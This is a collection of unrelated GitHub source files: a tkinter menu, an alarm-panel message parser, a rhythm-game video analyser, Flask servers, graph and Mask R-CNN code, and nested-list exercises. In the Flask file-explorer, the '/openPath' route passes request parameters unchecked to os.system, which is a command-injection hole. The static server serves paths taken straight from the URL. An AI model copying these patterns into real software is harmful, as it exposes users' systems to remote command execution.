menu1.add_command(label=item,command=win.quit)\r\n else:\r\n menu1.add_command(label=item,command=func)\r\n#向菜单条上添加菜单选项\r\nmenubar.add_cascade(label=\"语言\",menu=menu1)\r\n\r\n\r\nwin.mainloop()","repo_name":"changhao2882/changhao0001","sub_path":"django/untitled/tkinter_/15.menu顶层菜单.py","file_name":"15.menu顶层菜单.py","file_ext":"py","file_size_in_byte":783,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"44025048721","text":"\"\"\"\nMessage representations received from the panel through the `AlarmDecoder`_ (AD2)\ndevices.\n\n:py:class:`Message`: The standard and most common message received from a panel.\n\n.. _AlarmDecoder: http://www.alarmdecoder.com\n\n.. moduleauthor:: Scott Petersen \n\"\"\"\n\nimport re\n\nfrom . import BaseMessage\nfrom ..util import InvalidMessageError\nfrom ..panels import PANEL_TYPES, ADEMCO, DSC\n\nclass Message(BaseMessage):\n \"\"\"\n Represents a message from the alarm panel.\n \"\"\"\n\n ready = False\n \"\"\"Indicates whether or not the panel is in a ready state.\"\"\"\n armed_away = False\n \"\"\"Indicates whether or not the panel is armed away.\"\"\"\n armed_home = False\n \"\"\"Indicates whether or not the panel is armed home.\"\"\"\n backlight_on = False\n \"\"\"Indicates whether or not the keypad backlight is on.\"\"\"\n programming_mode = False\n \"\"\"Indicates whether or not we're in programming mode.\"\"\"\n beeps = -1\n \"\"\"Number of beeps associated with a message.\"\"\"\n zone_bypassed = False\n \"\"\"Indicates whether or not a zone is bypassed.\"\"\"\n ac_power = False\n \"\"\"Indicates whether or not the panel is on AC power.\"\"\"\n chime_on = False\n \"\"\"Indicates whether or not the chime is enabled.\"\"\"\n alarm_event_occurred = False\n \"\"\"Indicates whether or not an alarm event has occurred.\"\"\"\n alarm_sounding = False\n \"\"\"Indicates whether or not an alarm is sounding.\"\"\"\n battery_low = False\n \"\"\"Indicates whether or not there is a low battery.\"\"\"\n entry_delay_off = False\n \"\"\"Indicates whether or not the entry delay is enabled.\"\"\"\n fire_alarm = False\n \"\"\"Indicates whether or not a fire alarm is sounding.\"\"\"\n check_zone = False\n \"\"\"Indicates whether or not there are zones that require attention.\"\"\"\n perimeter_only = False\n \"\"\"Indicates whether or not the perimeter is armed.\"\"\"\n system_fault = -1\n \"\"\"Indicates if any panel specific system fault exists.\"\"\"\n panel_type = ADEMCO\n \"\"\"Indicates which panel type was the source of this message.\"\"\"\n numeric_code = None\n \"\"\"The numeric code associated with the message.\"\"\"\n text = None\n \"\"\"The human-readable text to be displayed on the panel LCD.\"\"\"\n cursor_location = -1\n \"\"\"Current cursor location on the keypad.\"\"\"\n mask = 0xFFFFFFFF\n \"\"\"Address mask this message is intended for.\"\"\"\n bitfield = None\n \"\"\"The bitfield associated with this message.\"\"\"\n panel_data = None\n \"\"\"The panel data field associated with this message.\"\"\"\n\n\n _regex = re.compile('^(!KPM:){0,1}(\\[[a-fA-F0-9\\-]+\\]),([a-fA-F0-9]+),(\\[[a-fA-F0-9]+\\]),(\".+\")$')\n\n def __init__(self, data=None):\n \"\"\"\n Constructor\n\n :param data: message data to parse\n :type data: string\n \"\"\"\n BaseMessage.__init__(self, data)\n\n if data is not None:\n self._parse_message(data)\n\n def _parse_message(self, data):\n \"\"\"\n Parse the message from the device.\n\n :param data: message data\n :type data: string\n\n :raises: :py:class:`~alarmdecoder.util.InvalidMessageError`\n \"\"\"\n match = self._regex.match(str(data))\n\n if match is None:\n raise InvalidMessageError('Received invalid message: {0}'.format(data))\n\n header, self.bitfield, self.numeric_code, self.panel_data, alpha = match.group(1, 2, 3, 4, 5)\n\n is_bit_set = lambda bit: not self.bitfield[bit] == \"0\"\n\n self.ready = is_bit_set(1)\n self.armed_away = is_bit_set(2)\n self.armed_home = is_bit_set(3)\n self.backlight_on = is_bit_set(4)\n self.programming_mode = is_bit_set(5)\n self.beeps = int(self.bitfield[6], 16)\n self.zone_bypassed = is_bit_set(7)\n self.ac_power = is_bit_set(8)\n self.chime_on = is_bit_set(9)\n self.alarm_event_occurred = is_bit_set(10)\n self.alarm_sounding = is_bit_set(11)\n self.battery_low = is_bit_set(12)\n self.entry_delay_off = is_bit_set(13)\n self.fire_alarm = is_bit_set(14)\n self.check_zone = is_bit_set(15)\n self.perimeter_only = is_bit_set(16)\n self.system_fault = int(self.bitfield[17], 16)\n if self.bitfield[18] in list(PANEL_TYPES):\n self.panel_type = PANEL_TYPES[self.bitfield[18]]\n # pos 20-21 - Unused.\n self.text = alpha.strip('\"')\n self.mask = int(self.panel_data[3:3+8], 16)\n\n if self.panel_type in (ADEMCO, DSC):\n if int(self.panel_data[19:21], 16) & 0x01 > 0:\n # Current cursor location on the alpha display.\n self.cursor_location = int(self.panel_data[21:23], 16)\n\n def parse_numeric_code(self, force_hex=False):\n \"\"\"\n Parses and returns the numeric code as an integer.\n\n The numeric code can be either base 10 or base 16, depending on\n where the message came from.\n\n :param force_hex: force the numeric code to be processed as base 16.\n :type force_hex: boolean\n\n :raises: ValueError\n \"\"\"\n code = None\n got_error = False\n\n if not force_hex:\n try:\n code = int(self.numeric_code)\n except ValueError:\n got_error = True\n\n if force_hex or got_error:\n try:\n code = int(self.numeric_code, 16)\n except ValueError:\n raise\n\n return code\n\n def dict(self, **kwargs):\n \"\"\"\n Dictionary representation.\n \"\"\"\n return dict(\n time = self.timestamp,\n bitfield = self.bitfield,\n numeric_code = self.numeric_code,\n panel_data = self.panel_data,\n mask = self.mask,\n ready = self.ready,\n armed_away = self.armed_away,\n armed_home = self.armed_home,\n backlight_on = self.backlight_on,\n programming_mode = self.programming_mode,\n beeps = self.beeps,\n zone_bypassed = self.zone_bypassed,\n ac_power = self.ac_power,\n chime_on = self.chime_on,\n alarm_event_occurred = self.alarm_event_occurred,\n alarm_sounding = self.alarm_sounding,\n battery_low = self.battery_low,\n entry_delay_off = self.entry_delay_off,\n fire_alarm = self.fire_alarm,\n check_zone = self.check_zone,\n perimeter_only = self.perimeter_only,\n text = self.text,\n cursor_location = self.cursor_location,\n **kwargs\n )\n","repo_name":"nutechsoftware/alarmdecoder","sub_path":"alarmdecoder/messages/panel_message.py","file_name":"panel_message.py","file_ext":"py","file_size_in_byte":6771,"program_lang":"python","lang":"en","doc_type":"code","stars":58,"dataset":"github-code","pt":"21"} +{"seq_id":"11366713752","text":"import cv2\nimport json\n# GNU LGPL\n# (c) royalcrab@bbled.org 2020\n\n# fixed values\noffset_x = 40\noffset_y = 160\nwidth = 120\nheight = 480\n\nrane_x = [0, 40, 72, 110, 140, 178, 208, 245, 275, 320]\nrane_dat = [0,0,0,0,0,0,0,0,0]\nmod_h = [6,6,0,0,0,0,0,6,6] # red base \n\nm = 2 # select song\n\ncsv_file = 'rects.csv'\njson_file = 'rects.json'\nfps = 60\nmp4_fps = 59.95 # accuratelly ?? frame rate for mallet\n# mp4_fps = 58.42 # accuratelly ?? frame rate for harmonia\n\nif m == 0:\n # mune-kyun mallet\n start_frame = 44 * fps\n # end_frame = 80 * fps\n end_frame = 145 * fps\n reference_frame = 40 * fps\n src = 'POPN/190428-1214.mp4'\n hsp = 3.9\n bpm = 168.0\n mp4_fps = 59.95\n\nelif m == 1:\n # harmonia\n start_frame = 21 * fps\n end_frame = 113 * fps\n reference_frame = 18 * fps\n src = 'POPN/Encode_2351.mp4'\n hsp = 3.7\n bpm = 177.0\n mp4_fps = 58.42\n\nelif m == 2:\n # harmonia\n start_frame = 27 * fps\n end_frame = 161 * fps\n reference_frame = 22 * fps\n src = 'popn/Encode_2530.mp4'\n hsp = 3.9\n bpm = 170.0\n mp4_fps = 59.95\n\nelse:\n # sayonara heaven\n start_frame = 18 * fps\n end_frame = 138 * fps\n reference_frame = 17 * fps\n src = 'POPN/190428-1144.mp4'\n hsp = 5.8\n bpm = 111.0\n mp4_fps = 59.95\n\ncap_file = cv2.VideoCapture( src )\ncap_file.set(cv2.CAP_PROP_POS_FRAMES, reference_frame)\n\n# json\njson_top = []\n\nf = open( csv_file, 'w')\n\nret, bgframe = cap_file.read()\nbg = bgframe[offset_x:width,offset_y:height]\n\ncounter = 0\nfirst_frame = -1 # first frame\nfirst_offset = 0\nmax_measure = 1 # max_measure\n# 4 row, 8 colum (max32)\n\n# pixel/frame = hsp * bpm / 60\n# 1frame / beat = 3600 / bpm\n# x = (frame * bpm * hsp / 60 + pixel ) / (hsp * 60) * quantizer (1920)\n\n\nnotes = [] # all note data\npre_rane = [0,0,0,0,0,0,0,0,0] # flag for pre-note in each rane\n\nfor num in range( start_frame, end_frame ):\n cap_file.set(cv2.CAP_PROP_POS_FRAMES, num)\n ret, cur = cap_file.read()\n clipped = cur[offset_x:width,offset_y:height]\n\n d1 = cv2.absdiff( clipped, bg )\n gray = cv2.cvtColor(d1, cv2.COLOR_BGR2GRAY) \n ret, img = cv2.threshold(gray, 100, 255, cv2.THRESH_BINARY)\n\n # contours, hierarchy = cv2.findContours(img, cv2.RETR_LIST, cv2.CHAIN_APPROX_SIMPLE) # old opencv\n image, contours, hierarchy = cv2.findContours(img, cv2.RETR_LIST, cv2.CHAIN_APPROX_SIMPLE)\n for i in range(0,9):\n rane_dat[i] = 0\n\n \n for i in range(0, len(contours)):\n if len(contours[i]) > 0:\n\n # remove small objects\n if cv2.contourArea(contours[i]) < 100:\n continue\n\n rect = contours[i]\n x, y, w, h = cv2.boundingRect(rect)\n cv2.rectangle(clipped, (x, y), (x + w, y + h), (255, 0, 255), 1)\n\n for k in range(0,9): \n if ( y + h >= 80 or y + h < 30):\n continue\n if ( x < rane_x[k+1] and rane_x[k] < x ): \n\n #if ( num - pre_rane[k] == 1 ):\n # pre_rane[k] = num # store the frame number of the note in rane k\n # continue\n #else:\n rane_dat[k] = y + h - mod_h[k]\n note = {}\n tmp = 0.0\n tmp2 = 0\n\n if (first_frame < 1 ): # first frame\n first_frame = num\n first_offset = y + h - mod_h[k]\n \n note['frame'] = 0\n note['pixel'] = first_offset\n note['color'] = k+1 # modify for popdrow \n note['timing'] = 0\n note['measure'] = 1 # modify for popdrow \n \n else:\n note['frame'] = num - first_frame\n note['pixel'] = (y + h - mod_h[k]) - first_offset\n note['color'] = k+1 # modify for popdrow \n\n # quantization\n tmp = 12.0 * (float(note['frame']) * bpm * hsp / mp4_fps + float(note['pixel'])) \\\n / (hsp * mp4_fps )\n tmp2 = int(tmp+0.5)\n if tmp2 % 6 == 1:\n tmp2 -= 1\n if tmp2 % 6 == 5:\n tmp2 += 1\n\n if not (num - pre_rane[k] == 1):\n note['timing'] = tmp2 % 48\n note['measure'] = int(tmp2 / 48) + 1 # modify for popdrow \n\n enc = json.dumps( note )\n #print( enc )\n #print( \"rane: %d\"%k, \"val %d\"%pre_rane[k])\n print( \"beat: %f\"%tmp, \"quantized: %d\"%(tmp2 % 48), \"measure: %d\"%(tmp2/48), \"rane %d\"%k )\n \n notes.append(note)\n\n pre_rane[k] = num\n\n # cv2.imwrite( 'out/img_%03d.png'%num, clipped )\n # cv2.imwrite( 'gray/img_%03d.png'%num, img )\n\n for i in range(0,9):\n \n f.write( \"%02d\"%rane_dat[i] )\n if ( i < 8 ):\n f.write(\",\")\n else:\n f.write(\"\\n\")\n\n# generate json file for popdraw\nm_str0 = '{\"split\": 0, \"x\": 0, \"y\": -125, \"w\": -125, \"h\": 0 }'\n\n# constant values\nmx = 21\nmy = 920\nmw = 117\nmh = 128\n\nmmy = 128\nmmx = 130\n\nwith open( json_file, \"w\") as fj:\n fj.write( \"{\\n\\t\\\"version\\\": 3,\\n\\t\\\"bpm\\\": 168,\\n\\t\\\"hsp\\\": 3.9,\\n\\t\\\"notes\\\": [\\n\")\n for note in notes:\n enc = json.dumps( note )\n fj.write( \"\\t\\t\")\n fj.write( enc )\n fj.write( \",\\n\")\n \n fj.write(\"\\t\\t{}\\n\") # for ignoring last camma\n\n # generate measure\n fj.write( \"\\t],\\n\\t\\\"measures\\\": [\\n\")\n fj.write( \"\\t\\t\")\n fj.write( m_str0 )\n\n measures = []\n\n # generate soflans and startMeasureNum\n for i in range(0,8):\n for j in range(0,8):\n measure = {}\n measure[\"split\"] = 16\n measure[\"x\"] = mx + i * mmx\n measure[\"y\"] = my - j * mmy\n measure[\"w\"] = mw\n measure[\"h\"] = mh\n\n fj.write( \",\\n\" )\n enc = json.dumps( measure )\n fj.write( \"\\t\\t\")\n fj.write( enc )\n \n fj.write( \"\\n\" )\n fj.write( \"\\t],\\n\\t\\\"soflans\\\": [],\\n\\t\\\"startMeasureNum\\\": 1\\n}\\n\" )\n\nprint( \"finishd.\" )\n","repo_name":"royalcrab/popscore","sub_path":"analyze_pop_mov.py","file_name":"analyze_pop_mov.py","file_ext":"py","file_size_in_byte":6351,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"7992237875","text":"# https://programminghistorian.org/en/lessons/creating-apis-with-python-and-flask\nimport flask\nfrom flask import render_template, request, jsonify\nfrom python.rexplorer import os_list_files\nimport os\n\n\napp = flask.Flask(__name__, static_url_path='', static_folder='web/static')\napp.config[\"DEBUG\"] = True\n\n@app.route('/', methods=['GET'])\ndef home():\n return render_template('index.html')\n\n\n@app.route('/dirR', methods=['GET'])\ndef list_files():\n if 'path' in request.args:\n return os_list_files(path=request.args['path'])\n else:\n return \"Error: No path field provided. Please specify a path.\"\n\n\n@app.route('/openPath', methods=['GET'])\ndef open_file():\n full_name = '\"' + request.args['path'] + \"\\\\\" + request.args['fname'] + '\"'\n print(full_name)\n os.system(full_name)\n return jsonify({\"dir\": request.args['path'], \"open\":\"ok\"})\n\n\n# run app\napp.run(port=8000)","repo_name":"nickmplay/RExplorer","sub_path":"serve.py","file_name":"serve.py","file_ext":"py","file_size_in_byte":896,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"5673452499","text":"# -*- coding: utf-8 -*-\n\"\"\"\n@author: Guilherme Panobianco\n \nEste algoritmo recebe um grafo G, com N vértices, desde que N seja maior\nou igual a zero e calcula o diâmetro.\n\"\"\"\nfrom collections import deque\n\n# Cria a classe do Grafo\nclass Graph:\n def __init__(self, V, Adj):\n self.V = V\n self.Adj = Adj\n\n# Cria a classe dos Vetores\nclass Vertex:\n def __init__(self, index, d, pai, cor):\n self.index = index\n self.d = d\n self.pai = pai\n self.cor = cor\n\n# Inicializa G\na1 = Graph([], [])\nb1 = Graph([], [])\nc1 = Graph([], [])\nd1 = Graph([], [])\ne1 = Graph([], [])\nf1 = Graph([], [])\ng1 = Graph([], [])\nh1 = Graph([], [])\ni1 = Graph([], [])\nj1 = Graph([], [])\nk1 = Graph([], [])\n\n# Inicia o Grafo com as listas de adjacências\ndef iniciaG():\n a1.V = [Vertex(i, float('inf'), None, 'branco') for i in range(0)]\n b1.V = [Vertex(i, float('inf'), None, 'branco') for i in range(1)]\n c1.V = [Vertex(i, float('inf'), None, 'branco') for i in range(2)]\n d1.V = [Vertex(i, float('inf'), None, 'branco') for i in range(3)]\n e1.V = [Vertex(i, float('inf'), None, 'branco') for i in range(4)]\n f1.V = [Vertex(i, float('inf'), None, 'branco') for i in range(5)]\n g1.V = [Vertex(i, float('inf'), None, 'branco') for i in range(6)]\n h1.V = [Vertex(i, float('inf'), None, 'branco') for i in range(7)]\n i1.V = [Vertex(i, float('inf'), None, 'branco') for i in range(8)]\n j1.V = [Vertex(i, float('inf'), None, 'branco') for i in range(9)]\n k1.V = [Vertex(i, float('inf'), None, 'branco') for i in range(10)]\n\n a1.Adj = [\n []\n ]\n \n b1.Adj = [\n []\n ]\n \n c1.Adj = [\n [c1.V[1]],\n [c1.V[0]]\n ]\n \n d1.Adj = [\n [d1.V[1], d1.V[2]],\n [d1.V[0]],\n [d1.V[0]]\n ]\n \n e1.Adj = [\n [e1.V[1]],\n [e1.V[0], e1.V[3]],\n [e1.V[3]],\n [e1.V[1], e1.V[2]],\n ]\n \n f1.Adj = [\n [f1.V[3], f1.V[2], f1.V[1]],\n [f1.V[0]],\n [f1.V[0]],\n [f1.V[0], f1.V[4]],\n [f1.V[2]]\n ]\n \n g1.Adj = [\n [g1.V[5], g1.V[1]],\n [g1.V[0]],\n [g1.V[5]],\n [g1.V[5]],\n [g1.V[5]],\n [g1.V[0], g1.V[3], g1.V[4], g1.V[2]]\n ]\n \n h1.Adj = [\n [h1.V[3]],\n [h1.V[6]],\n [h1.V[4]],\n [h1.V[0], h1.V[5]],\n [h1.V[5], h1.V[6], h1.V[2]],\n [h1.V[3], h1.V[4]],\n [h1.V[4], h1.V[1]]\n ]\n \n i1.Adj = [\n [i1.V[7], i1.V[1], i1.V[4]],\n [i1.V[0], i1.V[3], i1.V[6], i1.V[5]],\n [i1.V[7]],\n [i1.V[1]],\n [i1.V[0]],\n [i1.V[1]],\n [i1.V[1]],\n [i1.V[0], i1.V[2]]]\n \n j1.Adj = [\n [j1.V[2], j1.V[1]],\n [j1.V[0], j1.V[6], j1.V[3]],\n [j1.V[0], j1.V[4]],\n [j1.V[1]],\n [j1.V[2], j1.V[7]],\n [j1.V[6]],\n [j1.V[1], j1.V[8], j1.V[5]],\n [j1.V[4]],\n [j1.V[6]]\n ]\n \n k1.Adj = [\n [k1.V[1], k1.V[8]],\n [k1.V[0], k1.V[7], k1.V[2]],\n [k1.V[1]],\n [k1.V[5], k1.V[4]],\n [k1.V[3], k1.V[6]],\n [k1.V[7], k1.V[3]],\n [k1.V[4]],\n [k1.V[1], k1.V[5]],\n [k1.V[0], k1.V[9]],\n [k1.V[8]]\n ]\n\n# Reinicializa o grafo G\ndef resetG(G):\n for i in G.V:\n i.d = float('inf')\n i.pai = None\n i.cor = 'branco'\n\n# Coloca vetor na fila para fazer a busca em largura\ndef enqueue(Q, v):\n Q.insert(0, v)\n \n# Tira da fila o vetor que já foi explorado\ndef dequeue(Q):\n v = Q.pop()\n return v\n\n# Faz a busca em largura no grafo G iniciando do vértice s e retorna o vértice\n# com o maior atributo d obtido.\ndef BFS(G, s):\n resetG(G)\n s.d = 0\n s.cor = 'cinza'\n maiorD = s\n Q = deque()\n enqueue(Q, s)\n while (len(Q) != 0):\n u = dequeue(Q)\n for v in G.Adj[u.index]:\n if (v.cor == 'branco'):\n v.d = u.d + 1\n if (v.d > maiorD.d):\n maiorD = v\n v.pai = u\n v.cor = 'cinza'\n enqueue(Q, v)\n return maiorD\n \n# Calcula e retorna o diâmetro do grafo G. Retorna -1 caso o número de vértices\n# for 0.\ndef Diameter(G):\n if (len(G.V) == 0):\n return -1\n s = G.V[0]\n a = BFS(G, s)\n b = BFS(G, a)\n return b.d\n\n# Inicia todos os grafos\niniciaG()\n\n# Assert da função BFS:\nBFS(h1, h1.V[0])\nassert(h1.V[0].d) == 0\nassert(h1.V[1].d) == 5\nassert(h1.V[2].d) == 4\nassert(h1.V[3].d) == 1\nassert(h1.V[4].d) == 3\nassert(h1.V[5].d) == 2\nassert(h1.V[6].d) == 4\n\nBFS(j1, j1.V[5])\nassert(j1.V[0].d) == 3\nassert(j1.V[1].d) == 2\nassert(j1.V[2].d) == 4\nassert(j1.V[3].d) == 3\nassert(j1.V[4].d) == 5\nassert(j1.V[5].d) == 0\nassert(j1.V[6].d) == 1\nassert(j1.V[7].d) == 6\n\n# Assert da função Diameter:\n# Assert de grafo com nenhum vetor\nassert(Diameter(a1)) == -1\n# Assert de grafo com um vetor\nassert(Diameter(b1)) == 0\n# Assert de grafo com dois vetores\nassert(Diameter(c1)) == 1\n# Assert de grafo com três vetores\nassert(Diameter(d1)) == 2\n# Assert de grafo com quatro vetores\nassert(Diameter(e1)) == 3\n# Assert de grafo com cinco vetores\nassert(Diameter(f1)) == 3\n# Assert de grafo com seis vetores\nassert(Diameter(g1)) == 3\n# Assert de grafo com sete vetores\nassert(Diameter(h1)) == 5\n# Assert de grafo com oito vetores\nassert(Diameter(i1)) == 4\n# Assert de grafo com nove vetores\nassert(Diameter(j1)) == 6\n# Assert de grafo com dez vetores\nassert(Diameter(k1)) == 8","repo_name":"DRKn1ght/facul","sub_path":"2 ano/grafos/Diameter.py","file_name":"Diameter.py","file_ext":"py","file_size_in_byte":5463,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"2317101750","text":"from collections import namedtuple\nfrom mrcnn import model as mrcnn_model\nimport numpy as np\n\n\nPrediction = namedtuple('Prediction', [\n 'image', 'image_id', 'image_info',\n 'pred_class_ids', 'pred_class_names', 'pred_masks', 'pred_rois', 'pred_scores',\n 'true_class_ids', 'true_class_names', 'true_rois', 'true_masks'\n])\n\n\ndef prediction_generator(model, dataset, augmentation=None, image_ids=None, config=None):\n \"\"\"Generate predictions paired with ground truth information\n\n Args:\n model: Mask RCNN Model instance\n dataset: Mask RCNN Dataset\n augmentation: Optional imgaug augmentation object to be applied to each ground truth image as it is loaded;\n when provided, augmentation will be applied to ground-truth images and masks and predictions will\n be provided based on augmented version as well\n image_ids: List of image ids within dataset to process; For example:\n - To process all images, leave as None\n - To process the same image with different augmentations, specify the same image_id N times\n and set augmentation parameter\n - To process a pre-selected subset, specify only those image ids\n config: Mask RCNN configuration; if not provided the configuration already associated with the model\n instance will be used\n Returns:\n A generator of Prediction instances (see inference.Prediction)\n \"\"\"\n\n if config is None:\n config = model.config\n if config.BATCH_SIZE != 1:\n raise ValueError('Configuration batch size must = 1 for this inference method')\n\n if image_ids is None:\n image_ids = dataset.image_ids\n\n for image_id in image_ids:\n image_meta, gt_class_id, gt_class_names, gt_bbox, gt_mask = [None]*5\n try:\n image, image_meta, gt_class_id, gt_bbox, gt_mask = \\\n mrcnn_model.load_image_gt(\n dataset, config, image_id,\n use_mini_mask=False, augmentation=augmentation\n )\n gt_class_names = np.array([dataset.class_names[i] for i in gt_class_id])\n except FileNotFoundError:\n # Catch this on failure to read annotation files and\n # just load the original image instead\n image = dataset.load_image(image_id)\n\n detection = model.detect([image], verbose=0)[0]\n\n if gt_class_id is not None and gt_class_id.ndim != 1:\n raise ValueError('Expecting true class ids array to have ndim == 1 (shape = {})'.format(gt_class_id.shape))\n if gt_mask is not None and gt_mask.ndim != 3:\n raise ValueError('Expecting true masks array to have ndim == 3 (shape = {})'.format(gt_mask.shape))\n if detection['class_ids'].ndim != 1:\n raise ValueError(\n 'Expecting pred class ids array to have ndim == 1 (shape = {})'.format(detection['class_ids'].shape))\n if detection['masks'].ndim != 3:\n raise ValueError(\n 'Expecting pred masks array to have ndim == 3 (shape = {})'.format(detection['masks'].shape))\n\n yield Prediction(\n image=image, image_id=image_id, image_info=dataset.image_reference(image_id),\n pred_class_ids=detection['class_ids'],\n pred_class_names=np.array([dataset.class_names[i] for i in detection['class_ids']]),\n pred_masks=detection['masks'],\n pred_rois=detection['rois'],\n pred_scores=detection['scores'],\n true_class_ids=gt_class_id,\n true_class_names=gt_class_names,\n true_rois=gt_bbox,\n true_masks=gt_mask\n )\n","repo_name":"hammerlab/cvutils","sub_path":"python/cvutils/mrcnn/inference.py","file_name":"inference.py","file_ext":"py","file_size_in_byte":3664,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"21506585278","text":"import os\nimport sys\nimport flask\n\n\nencoding = sys.getdefaultencoding()\napp = flask.Flask(__name__, static_folder=os.getcwd())\n\n\ndef fast_read(fn: str) -> str:\n f_ = open(fn, 'rb')\n result = f_.read()\n f_.close()\n return result.decode(encoding, errors='replace')\n\n\ndef error404() -> any:\n return fast_read('404.html'), 404\n\n\ndef get_path_from_url(url_: str) -> str:\n return '/'.join(url_.split('/')[3:])\n\n\ndef file_exists(fn: str) -> bool:\n return os.access(fn, os.F_OK) and not os.path.isdir(fn)\n\n\ndef try_render(fn: str) -> None:\n if file_exists(fn):\n return fast_read(fn), 200\n return error404()\n\n\n@app.errorhandler(404)\ndef get_page(*args, **kwargs) -> any:\n url = flask.request.url\n path = get_path_from_url(url)\n if not path:\n return try_render('index.html')\n ext = url.split('.')[-1].lower().strip()\n if ext in ('html', 'htm'):\n return try_render(path)\n if file_exists(path):\n return app.send_static_file(path), 200\n return try_render(get_path_from_url(url + 'index.html'))\n\n\nif __name__ == '__main__':\n app.run(\n '127.0.0.1',\n port=8000,\n debug=True\n )\n","repo_name":"Pixelsuft/pixelsuft.github.io","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":1164,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"12407310667","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Tue Sep 22 16:23:35 2020\r\n\r\n@author: pipem\r\n\"\"\"\r\n\r\n\"\"\"\r\n2. Below, we have provided a list of lists that contain information about people. \r\nWrite code to create a new list that contains every person’s last name, and save that list as last_names.\r\n\"\"\"\r\nimport copy\r\n\r\ndef nest(): \r\n info = [['Tina', 'Turner', 1939, 'singer'], ['Matt', 'Damon', 1970, 'actor'], ['Kristen', 'Wiig', 1973, 'comedian'], ['Michael', 'Phelps', 1985, 'swimmer'], ['Barack', 'Obama', 1961, 'president']]\r\n last_names = list()\r\n for person in info: \r\n last_names.append(person[1])\r\n return last_names\r\n\r\n#print(nest())\r\n\r\n\"\"\"\r\n3. Below, we have provided a list of lists named L. Use nested iteration to save every \r\nstring containing “b” into a new list named b_strings\r\n\"\"\"\r\n\r\ndef nest2(lst):\r\n \r\n b_strings = list()\r\n for lst in L: \r\n for strg in lst: \r\n if \"b\" in strg:\r\n b_strings.append(strg)\r\n return b_strings\r\nL = [['apples', 'bananas', 'oranges', 'blueberries', 'lemons'], ['carrots', 'peas', 'cucumbers', 'green beans'], ['root beer', 'smoothies', 'cranberry juice']]\r\n#print(nest2(L))\r\n\r\n\r\n\"\"\" \r\nwhen something if no iterable\r\n\"\"\"\r\ndef with_not_iterable(lst):\r\n for x in lst:\r\n print(\"level1: \")\r\n if type(x) is list: # si el type no es iterable else:\r\n for y in x:\r\n print(\" level2: {}\".format(y))\r\n else:\r\n print(x) #salta aca e imprime ese no iterable: \r\nlst = [1, 2, ['a', 'b', 'c'],['d', 'e'],['f', 'g', 'h']]\r\n#print(with_not_iterable(lst))\r\n\r\n\"\"\"\r\nSHADOW AND DEEP copy \r\n\"\"\"\r\ndef shadow_deep():\r\n original = [['canines', ['dogs', 'puppies']], ['felines', ['cats', 'kittens']]]\r\n shallow_copy_version = original[:]\r\n deeply_copied_version = copy.deepcopy(original)\r\n original.append(\"Hi there\")\r\n original[0].append([\"marsupials\"])\r\n print(\"-------- Original -----------\")\r\n print(original)\r\n print(\"-------- deep copy -----------\")\r\n print(deeply_copied_version)\r\n print(\"-------- shallow copy -----------\") \r\n print(shallow_copy_version)\r\n#shadow_deep()\r\n\r\n\r\n\"\"\"\r\n---------------------------ASSIGMENTE-------------------------------------------------\r\n\"\"\"\r\n\r\n\r\n\"\"\"\r\n1. The variable nested contains a nested list. Assign ‘snake’ to the variable output using indexing.\r\n\"\"\"\r\n\r\ndef snake(): \r\n nested = [['dog', 'cat', 'horse'], ['frog', 'turtle', 'snake', 'gecko'], ['hamster', 'gerbil', 'rat', 'ferret']]\r\n for lst in nested: \r\n if \"snake\" in lst:\r\n output = \"snake\"\r\n return output\r\n#print(snake())\r\n\r\n\"\"\"\r\n2. Below, a list of lists is provided. Use in and not in tests to create variables with Boolean values. \r\nSee comments for further instructions.\r\n\"\"\"\r\n\r\ndef in_notin_test(): \r\n lst = [['apple', 'orange', 'banana'], [5, 6, 7, 8, 9.9, 10], ['green', 'yellow', 'purple', 'red']]\r\n \r\n yellow = \"yellow\" in lst[2]\r\n four = 4 in lst[1]\r\n orange = \"orange\" in lst[0]\r\n return yellow,four,orange\r\n#print(in_notin_test())\r\n\r\n\"\"\" \r\n3. Provided is a nested data structure. Follow the instructions in the comments below. Do not hard code.\r\n\"\"\"\r\n\r\ndef in_with_dic(): \r\n nested = {'data': ['finding', 23, ['exercises', 'hangout', 34]], 'window': ['part', 'whole', [], 'sum', ['math', 'calculus', 'algebra', 'geometry', 'statistics',['physics', 'chemistry', 'biology']]]}\r\n # Check to see if the string data is a key in nested, if it is, assign True to the variable data, \r\n # otherwise assign False.\r\n lst_keys = list(nested.keys())\r\n if \"data\" in lst_keys:\r\n data = True\r\n else: \r\n data = False\r\n # Check to see if the integer 24 is in the value of the key data, if it is then assign to the variable \r\n # twentyfour the value of True, otherwise False.\r\n if 24 in nested[\"data\"]:\r\n twentyfour = True\r\n else: \r\n twentyfour = False\r\n # Check to see that the string 'whole' is not in the value of the key window. If it's not, \r\n # then assign to the variable whole the value of True, otherwise False.\r\n if \"whole\" not in nested[\"window\"]:\r\n whole = True\r\n else: \r\n whole = False\r\n return data,twentyfour,whole\r\n\r\n#print(in_with_dic())\r\n\r\n\"\"\"\r\nThe variable nested_d contains a nested dictionary with the gold medal counts for the top four \r\ncountries in the past three Olympics. Assign the value of Great Britain’s gold medal count from \r\nthe London Olympics to the variable london_gold. Use indexing. Do not hardcode\r\n\"\"\"\r\n\r\ndef simple_dic():\r\n nested_d = {'Beijing':{'China':51, 'USA':36, 'Russia':22, 'Great Britain':19}, 'London':{'USA':46, 'China':38, 'Great Britain':29, 'Russia':22}, 'Rio':{'USA':35, 'Great Britain':22, 'China':20, 'Germany':13}}\r\n london_gold = nested_d[\"London\"][\"Great Britain\"]\r\n return london_gold\r\n#print(simple_dic())\r\n\"\"\"\r\nBelow, we have provided a nested dictionary. Index into the dictionary to create variables that we have \r\nlisted in the ActiveCode window.\r\n\"\"\"\r\ndef complex_dic():\r\n sports = {'swimming': ['butterfly', 'breaststroke', 'backstroke', 'freestyle'], 'diving': ['springboard', 'platform', 'synchronized'], 'track': ['sprint', 'distance', 'jumps', 'throws'], 'gymnastics': {'women':['vault', 